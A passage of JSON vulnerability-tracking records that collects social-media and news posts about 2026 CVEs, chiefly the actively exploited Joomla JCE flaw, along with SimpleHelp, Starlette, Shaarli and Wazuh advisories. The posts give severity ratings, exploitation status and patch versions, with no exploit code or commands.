"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mohbhfp4ax2n", "content": "Top 3 CVE for last 7 days:\nCVE-2026-35273: 62 interactions\nCVE-2026-54420: 26 interactions\nCVE-2025-10263: 25 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-54420: 21 interactions\nCVE-2026-20262: 8 interactions\nCVE-2026-48558: 8 interactions\n", "creation_timestamp": "2026-06-17T02:31:19.728184Z"}, {"uuid": "9e952a95-cd85-4ce5-86a4-1d640f06535a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48797", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mohf6t5rnw25", "content": "CVE-2026-48797 - Backpropagate: backprop ui --auth and backprop ui --share do not enforce authentication\nCVE ID : CVE-2026-48797\n \n Published : June 16, 2026, 11:35 p.m. | 2\u00a0hours, 7\u00a0minutes ago\n \n Description : Backpropagate is a Python library for fine-tuning large language ...", "creation_timestamp": "2026-06-17T03:38:06.640520Z"}, {"uuid": "082ee5ea-5f02-4b38-a170-fde14dce1e7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mohjkawbps2h", "content": "SimpleHelp RMM flaw could give attackers full access to managed endpoints (CVE-2026-48558)\n\nA critical vulnerability (CVE-2026-48558) in SimpleHelp, a popular remote monitoring and management (RMM) tool, can be exploited remotely by unauthenticated attackers to create a new \u201cTechn\u2026\n#hackernews #news", "creation_timestamp": "2026-06-17T04:56:05.379651Z"}, {"uuid": "1921f669-6a0a-4b81-96ff-bc620e134365", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mohosgpgxs24", "content": "CISA warns of active exploitation of Joomla JCE vulnerability CVE-2026-48907; update to version 2.9.99.5 now. #Cybersecurity #Joomla #CISA #Vulnerability #PHP #CMS thedailytechfeed.com/cisa-alerts-...", "creation_timestamp": "2026-06-17T06:30:08.689925Z"}, {"uuid": "fba7ff49-102b-4845-b96c-d0395d9a4b11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mohoxuuzhd2v", "content": "CISA\u304c\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30921\u4ef6\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0 \n\nCISA Adds One Known Exploited Vulnerability to Catalog  #CISA (Jun 16)\n\nCVE-2026-48907 Widget Factory Joomla\u30b3\u30f3\u30c6\u30f3\u30c4\u30a8\u30c7\u30a3\u30bf\u30fc\u306e\u4e0d\u9069\u5207\u306a\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u306e\u8106\u5f31\u6027 \n\nwww.cisa.gov/news-events/...", "creation_timestamp": "2026-06-17T06:33:10.225340Z"}, {"uuid": "7812cb5b-d5bb-41cb-a83c-04fc8f074b9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://thehackernews.com/2026/06/cisa-warns-of-actively-exploited-joomla.html", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added a maximum-severity security flaw impacting Widget Factory Joomla Content Editor (JCE) to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation.\n\nThe vulnerability, tracked as CVE-2026-48907 (CVSS score: 10.0), is a case of improper access control that could facilitate arbitrary", "creation_timestamp": "2026-06-17T03:50:46.000000Z"}, {"uuid": "857e3d31-95f4-4c42-a1bc-a988ec53b93a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mohx74eegi2l", "content": "Joomla JCE CVE-2026-48907 and LiteSpeed cPanel CVE-2026-54420 are being actively exploited, enabling file uploads, PHP execution, and possible root escalation on shared hosting servers. #Joomla #LiteSpeed #CISA", "creation_timestamp": "2026-06-17T09:00:23.896971Z"}, {"uuid": "8c38ce12-9dc7-414b-a1f5-8531c987f339", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mohsppl7pam2", "content": "CISA Warns of Actively Exploited Joomla JCE Flaw Allowing PHP Code Execution TheHackerNews CISA added CVE-2026-48907 in Joomla JCE to its KEV catalog after active exploitation; fixes are due by Jun...\n\n#Security #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-17T07:41:20.325740Z"}, {"uuid": "a707ab8b-634e-42b5-b7b8-8a303611461b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mohuddralb26", "content": "Every FastAPI, vLLM, LiteLLM and MCP server running Starlette below v1.0.1 can be auth-bypassed by appending one character to the HTTP Host header, per OSTIF. Starlette ships about 325M downloads per week. CVE-2026-48710 (BadHost). Patch: Starlette 1.0.1 or read raw path from scope.", "creation_timestamp": "2026-06-17T08:09:03.956165Z"}, {"uuid": "2d7320f2-9f86-4573-8fe0-50a51bbbd253", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mohvil276i2h", "content": "Joomla JCE\u306bPHP\u30b3\u30fc\u30c9\u5b9f\u884c\u3092\u8a31\u3059\u8106\u5f31\u6027(CVE-2026-48907)\u304c\u767a\u898b\u3055\u308c\u3001CISA\u304c\u6ce8\u610f\u559a\u8d77\u3002\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u3066\u3044\u308b\u3002", "creation_timestamp": "2026-06-17T08:29:53.827874Z"}, {"uuid": "6b35f15e-1706-4bda-bc29-62b3d3d9c90c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48440", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mt3bkkmzhg2m", "content": "\ud83d\udccc CVE-2026-48440 - ColdFusion is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.... https://www.cyberhub.blog/cves/CVE-2026-48440", "creation_timestamp": "2026-08-14T23:07:06.603402Z"}, {"uuid": "68a5ef0e-22cd-469d-ba9f-7e9d975a7c12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/rxerium.com/post/3moi6zikyzp2k", "content": "\ud83d\udea8 Critical improper access control vulnerability tagged CVE-2026-48907, affecting Joomla Content Editor is seeing active exploitation in the wild (reported by CISA)\n\nVulnerability detection script:\ngithub.com/rxerium/rxer...\n\nPatches and mitigations:\nwww.sentinelone.com/vulnerabilit...", "creation_timestamp": "2026-06-17T11:20:26.070487Z"}, {"uuid": "51e60692-f895-4bd9-ac9e-06d927f47de2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48024", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mthdczu7tv24", "content": "\ud83d\udea8 CVE-2026-48024 \u2014 CVSS 9.1 CRITICAL\n\nWazuh is a free and open source platform used for threat prevention, detection, and response. From 4.0.0 un...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-48024\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-19T18:10:37.983064Z"}, {"uuid": "6245ae17-4550-4a14-91ed-bf70de97dcfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48162", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mthdde65nv2b", "content": "\ud83d\udea8 CVE-2026-48162 \u2014 CVSS 9.1 CRITICAL\n\nWazuh is a free and open source platform used for threat prevention, detection, and response. From 4.0.0 un...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-48162\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-19T18:10:48.683276Z"}, {"uuid": "8f969ee7-97ac-4506-bd0a-165bb98c0ab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/iberianm.bsky.social/post/3moibayxngn24", "content": "Joomla Widget Factory JCE: CISA lists CVE-2026-48907 (CVSS 10.0) as actively exploited. Patch immediately and review for PHP code execution attempts. #Cybersecurity #Vulnerability #ThreatIntel\n\nSource: https://thehackernews.com/2026/06/cisa-warns-of-actively-exploited-joomla.html", "creation_timestamp": "2026-06-17T12:00:57.090849Z"}, {"uuid": "3ba0b8f9-85a8-4f56-a4b4-975d1f729297", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3moidu2x2tc2d", "content": "Forecast: expect more AI package-ecosystem targeting: account takeovers, poisoned postinstall hooks, helper-package compromises. KEV side-note: patch exposed Joomla/JCE CVE-2026-48907 now. Refs: Microsoft X, Mastra incident report, Endor Labs, CISA KEV.", "creation_timestamp": "2026-06-17T12:46:52.010098Z"}, {"uuid": "3613b729-9507-4279-9db8-71565aa35188", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3moidu2xbo22d", "content": "Forecast: expect more AI package-ecosystem targeting: account takeovers, poisoned postinstall hooks, helper-package compromises. KEV side-note: patch exposed Joomla/JCE CVE-2026-48907 now. Refs: Microsoft X, Mastra incident report, Endor Labs, CISA KEV.", "creation_timestamp": "2026-06-17T12:46:53.143029Z"}, {"uuid": "5ba52d4b-5e13-4ef9-9e62-7557ec20380b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3moidu2xcnc2d", "content": "Forecast: expect more AI package-ecosystem targeting: account takeovers, poisoned postinstall hooks, helper-package compromises. KEV side-note: patch exposed Joomla/JCE CVE-2026-48907 now. Refs: Microsoft X, Mastra incident report, Endor Labs, CISA KEV.", "creation_timestamp": "2026-06-17T12:46:54.235120Z"}, {"uuid": "74bc999d-01fe-436b-8e2a-67f85581ce21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3moidu2xcnd2d", "content": "Forecast: expect more AI package-ecosystem targeting: account takeovers, poisoned postinstall hooks, helper-package compromises. KEV side-note: patch exposed Joomla/JCE CVE-2026-48907 now. Refs: Microsoft X, Mastra incident report, Endor Labs, CISA KEV.", "creation_timestamp": "2026-06-17T12:46:55.385274Z"}, {"uuid": "cf1b9f58-32bf-4598-8e50-791b2d56ec47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3moidu2xelt2d", "content": "Forecast: expect more AI package-ecosystem targeting: account takeovers, poisoned postinstall hooks, helper-package compromises. KEV side-note: patch exposed Joomla/JCE CVE-2026-48907 now. Refs: Microsoft X, Mastra incident report, Endor Labs, CISA KEV.", "creation_timestamp": "2026-06-17T12:46:56.483859Z"}, {"uuid": "841eba5a-a4db-431d-ab8d-be217df4f050", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48095", "type": "seen", "source": "https://bsky.app/profile/ruari.velocipederider.com.ap.brid.gy/post/3moieds36fch2", "content": "Just two recent examples of vulnerablities from 7-Zip and RAR.\n\nAlso keep in mind that distros are not always great at updating and if you installed one of these yourself, it is also on you (plus neither autoupdate on Windows or macOS).\n\n\u2022 7-Zip: https://nvd.nist.gov/vuln/detail/cve-2026-48095 [\u2026]", "creation_timestamp": "2026-06-17T12:56:59.293783Z"}, {"uuid": "923825ed-bfcf-4308-8261-f681facb43c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48095", "type": "seen", "source": "https://bsky.app/profile/ruari.velocipederider.com.ap.brid.gy/post/3moieetwxlme2", "content": "Just two recent examples of vulnerablities from 7-Zip and RAR.\n\nAlso keep in mind that distros are not always great at updating and if you installed on of these yourself, it is also on you (plus neither autoupdate on Windows or macOS).\n\n\u2022 7-Zip: https://nvd.nist.gov/vuln/detail/cve-2026-48095\n\n\u2022 [\u2026]", "creation_timestamp": "2026-06-17T12:57:11.231734Z"}, {"uuid": "7a1a9b4b-212e-41e2-a5fb-bd91c2ce42bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3msexg5xq6l2v", "content": "\ud83d\udccc CVE-2026-48449 - Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of t... https://www.cyberhub.blog/cves/CVE-2026-48449", "creation_timestamp": "2026-08-06T02:07:07.080162Z"}, {"uuid": "f04bd0eb-6fd9-4a2a-b9e2-f17b247de07a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3moiq64m53y2u", "content": "URGENT: CVE-2026-48907 is seeing active exploitation in Joomla! JCE extensions. This critical RCE flaw allows unauthenticated attackers to take full control. Read our executive remediation brief to harden your environment now.\nhttps://thecybermind.co/ic6z\n#CyberSecurity #Joomla #Infosec #KEV", "creation_timestamp": "2026-06-17T16:27:13.799834Z"}, {"uuid": "be64f704-adb9-46ff-9930-ca1f047f036a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3moir6ocvvy2n", "content": "CISA ordered federal agencies to patch CVE-2026-48907 by Friday. The max-severity JCE plugin flaw in Joomla can let attackers upload and run PHP code. Fix: JCE Pro 2.9.99.6. #Joomla #CISA #JCE", "creation_timestamp": "2026-06-17T16:45:26.381952Z"}, {"uuid": "0036257f-bc81-4f00-8e83-0d7a39499527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3moirzfqc6r24", "content": "\ud83d\udce2 CVE-2026-48558 : Contournement d'authentification critique dans SimpleHelp via OIDC\n\ud83d\udcdd ## \ud83d\udd0d Contexte\n\nLe 12 juin 2026, Horizon3.ai publie une divu\u2026\nhttps://cyberveille.ch/posts/2026-06-17-cve-2026-48558-contournement-d-authentification-critique-dans-simplehelp-via-oidc/ #CVE_2026_48558 #Cyberveille", "creation_timestamp": "2026-06-17T17:00:22.699633Z"}, {"uuid": "9ee4d054-3a56-4d23-aa5d-e345acd12d6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/cesnet-certs.mastodonczech.cz.ap.brid.gy/post/3moiyu6gmju42", "content": "[[TLP:CLEAR] JCE opravuje kritickou aktivn\u011b zneu\u017e\u00edvanou zranitelnost]\n\nCISA za\u0159adila kritickou zranitelnost (CVE-2026-48907) v Joomla Content Editor (JCE) do katalogu aktivn\u011b zneu\u017e\u00edvan\u00fdch zranitelnost\u00ed \u2b07\ufe0f. Skript pro PoC naleznete na \u2b07\ufe0f.\n\nOdkaz na webovou verzi cel\u00e9ho reportu [\u2026]", "creation_timestamp": "2026-06-17T19:02:48.253975Z"}, {"uuid": "2d08c674-0869-4d8c-b42a-29a8dd83a7bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48814", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3moj5qnuvcd2w", "content": "CRITICAL: Jovancoding Network-AI \u22645.7.1 lets unauthenticated callers invoke all MCP tools if default secret is empty. Upgrade to 5.7.2 now. https://radar.offseq.com/threat/cve-2026-48814-cwe-306-missing-authentication-for--a37c283f4afc7554 #OffSeq #CVE202648814 #AppSec", "creation_timestamp": "2026-06-17T20:30:15.025720Z"}, {"uuid": "2c1c3b84-5807-403b-993d-c907dac79228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3moj6czenx42m", "content": "Alert: CVE-2026-48907. A severe access control flaw in Widget Factory Joomla Content Editor allows unauthenticated PHP script execution. Lock down your CMS. Read our tactical engineering runbook for full IOCs and endpoint hardening steps. https://thecybermind.co/unjv\n\n\ud83d\udee1\ufe0f #CyberSecurity #CVE\u2026", "creation_timestamp": "2026-06-17T20:40:30.487888Z"}, {"uuid": "c40c7860-bd69-4560-aa63-2cc7020a13dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mojaburz2e2b", "content": "1/ \u26a0\ufe0f Joomla JCE CVE-2026-48907 just hit CISA's KEV list with a PERFECT 10.0 score. No auth needed. Attackers upload PHP shells and own your server. Botnets already scanning. Update JCE to 2.9.99.5 right now.", "creation_timestamp": "2026-06-17T21:15:40.330176Z"}, {"uuid": "6fbc5272-84ea-436b-a560-df9a70b9ee03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mojabus7v42b", "content": "1/ \u26a0\ufe0f Joomla JCE CVE-2026-48907 just hit CISA's KEV list with a PERFECT 10.0 score. No auth needed. Attackers upload PHP shells and own your server. Botnets already scanning. Update JCE to 2.9.99.5 right now.", "creation_timestamp": "2026-06-17T21:15:40.875813Z"}, {"uuid": "4645e685-08f5-476b-a8c6-6ce314574a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mojabusbtm2b", "content": "1/ \u26a0\ufe0f Joomla JCE CVE-2026-48907 just hit CISA's KEV list with a PERFECT 10.0 score. No auth needed. Attackers upload PHP shells and own your server. Botnets already scanning. Update JCE to 2.9.99.5 right now.", "creation_timestamp": "2026-06-17T21:15:41.409008Z"}, {"uuid": "784192cb-a639-476d-9fff-8c2e7b2a881b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mojabuscsu2b", "content": "1/ \u26a0\ufe0f Joomla JCE CVE-2026-48907 just hit CISA's KEV list with a PERFECT 10.0 score. No auth needed. Attackers upload PHP shells and own your server. Botnets already scanning. Update JCE to 2.9.99.5 right now.", "creation_timestamp": "2026-06-17T21:15:41.930656Z"}, {"uuid": "6d23e02a-e4ea-431e-98cf-6f186bd8d2c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mojabusds42b", "content": "1/ \u26a0\ufe0f Joomla JCE CVE-2026-48907 just hit CISA's KEV list with a PERFECT 10.0 score. No auth needed. Attackers upload PHP shells and own your server. Botnets already scanning. Update JCE to 2.9.99.5 right now.", "creation_timestamp": "2026-06-17T21:15:42.536635Z"}, {"uuid": "89f06e64-d2a7-41bc-8c7b-c10d30832f16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mojabusere2b", "content": "1/ \u26a0\ufe0f Joomla JCE CVE-2026-48907 just hit CISA's KEV list with a PERFECT 10.0 score. No auth needed. Attackers upload PHP shells and own your server. Botnets already scanning. Update JCE to 2.9.99.5 right now.", "creation_timestamp": "2026-06-17T21:15:43.068487Z"}, {"uuid": "30c26aa0-4255-466d-8351-829433c61aa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mojabushp42b", "content": "1/ \u26a0\ufe0f Joomla JCE CVE-2026-48907 just hit CISA's KEV list with a PERFECT 10.0 score. No auth needed. Attackers upload PHP shells and own your server. Botnets already scanning. Update JCE to 2.9.99.5 right now.", "creation_timestamp": "2026-06-17T21:15:43.602390Z"}, {"uuid": "e99e17f3-bca3-4fb2-be8f-275d5eb5634b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mojabushp52b", "content": "1/ \u26a0\ufe0f Joomla JCE CVE-2026-48907 just hit CISA's KEV list with a PERFECT 10.0 score. No auth needed. Attackers upload PHP shells and own your server. Botnets already scanning. Update JCE to 2.9.99.5 right now.", "creation_timestamp": "2026-06-17T21:15:44.144872Z"}, {"uuid": "752f28e4-f4fc-4168-9f51-59a09ec51ad6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mojabusiof2b", "content": "1/ \u26a0\ufe0f Joomla JCE CVE-2026-48907 just hit CISA's KEV list with a PERFECT 10.0 score. No auth needed. Attackers upload PHP shells and own your server. Botnets already scanning. Update JCE to 2.9.99.5 right now.", "creation_timestamp": "2026-06-17T21:15:44.770224Z"}, {"uuid": "ef382c12-db62-4cd2-a9f8-0a5ceab2dc20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48814", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojevvheah2c", "content": "CVE-2026-48814 - Network-AI: Empty default secret still authorizes all requests (Incomplete fix for CVE-2026-46701)\nCVE ID : CVE-2026-48814\n \n Published : June 17, 2026, 7:42 p.m. | 2\u00a0hours ago\n \n Description : Network-AI is a TypeScript/Node.js multi-agent orchestrator. In ve...", "creation_timestamp": "2026-06-17T22:38:26.114245Z"}, {"uuid": "33e39f40-c49b-47d5-a280-016507bac73e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48988", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojeymb5ll2z", "content": "CVE-2026-48988 - markdown-it: Quadratic complexity DoS in smartquotes rule via replaceAt string operations\nCVE ID : CVE-2026-48988\n \n Published : June 17, 2026, 8:54 p.m. | 48\u00a0minutes ago\n \n Description : markdown-it is a Markdown parser. Versions 14.1.1 and below contain a de...", "creation_timestamp": "2026-06-17T22:39:57.356801Z"}, {"uuid": "209a7815-e657-4677-aea7-fbee3f41ec02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48823", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojf6h6akq2f", "content": "CVE-2026-48823 - Shaarli has Stored Cross-Site Scripting (XSS) via Tags Search\nCVE ID : CVE-2026-48823\n \n Published : June 17, 2026, 8:06 p.m. | 1\u00a0hour, 36\u00a0minutes ago\n \n Description : Shaarli is a personal bookmarking service. Versions 0.16.1 and prior contain a stored Cross-...", "creation_timestamp": "2026-06-17T22:43:12.828573Z"}, {"uuid": "3a194aac-e777-4d77-937d-2fd82cf0d874", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48821", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojfbmjhcl22", "content": "CVE-2026-48821 - Shaarli: DOM-based Cross-Site Scripting (XSS) in Thumbnail Synchronizer\nCVE ID : CVE-2026-48821\n \n Published : June 17, 2026, 8:33 p.m. | 1\u00a0hour, 9\u00a0minutes ago\n \n Description : Shaarli is a personal bookmarking service. Versions 0.16.1 and prior contain a DOM-...", "creation_timestamp": "2026-06-17T22:44:59.399671Z"}, {"uuid": "cf976217-1b14-4754-b97d-7ad7d9572ec7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48822", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojfilb4ch2x", "content": "CVE-2026-48822 - Shaarli has Stored Cross-Site Scripting (XSS) via Markdown Reference Links\nCVE ID : CVE-2026-48822\n \n Published : June 17, 2026, 7:59 p.m. | 1\u00a0hour, 43\u00a0minutes ago\n \n Description : Shaarli is a personal bookmarking service. Versions 0.16.1 and prior contain a ...", "creation_timestamp": "2026-06-17T22:48:52.787844Z"}, {"uuid": "2f82df88-6e49-4269-8bd7-48bb31eddbab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48979", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojfmgmp232z", "content": "CVE-2026-48979 - PHP Standard Library: HTTP/2 server-side missing content-length validation enables request smuggling\nCVE ID : CVE-2026-48979\n \n Published : June 17, 2026, 8:43 p.m. | 59\u00a0minutes ago\n \n Description : PHP Standard Library (PSL) is set of APIs covering async, col...", "creation_timestamp": "2026-06-17T22:51:06.018972Z"}, {"uuid": "93cc9f72-9bfa-4306-b1ae-f8f8c6bb91b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48817", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojh4tpt4r27", "content": "CVE-2026-48817 - Starlette: Arbitrary HTTP method dispatched to `HTTPEndpoint` attributes via `getattr`\nCVE ID : CVE-2026-48817\n \n Published : June 17, 2026, 7:48 p.m. | 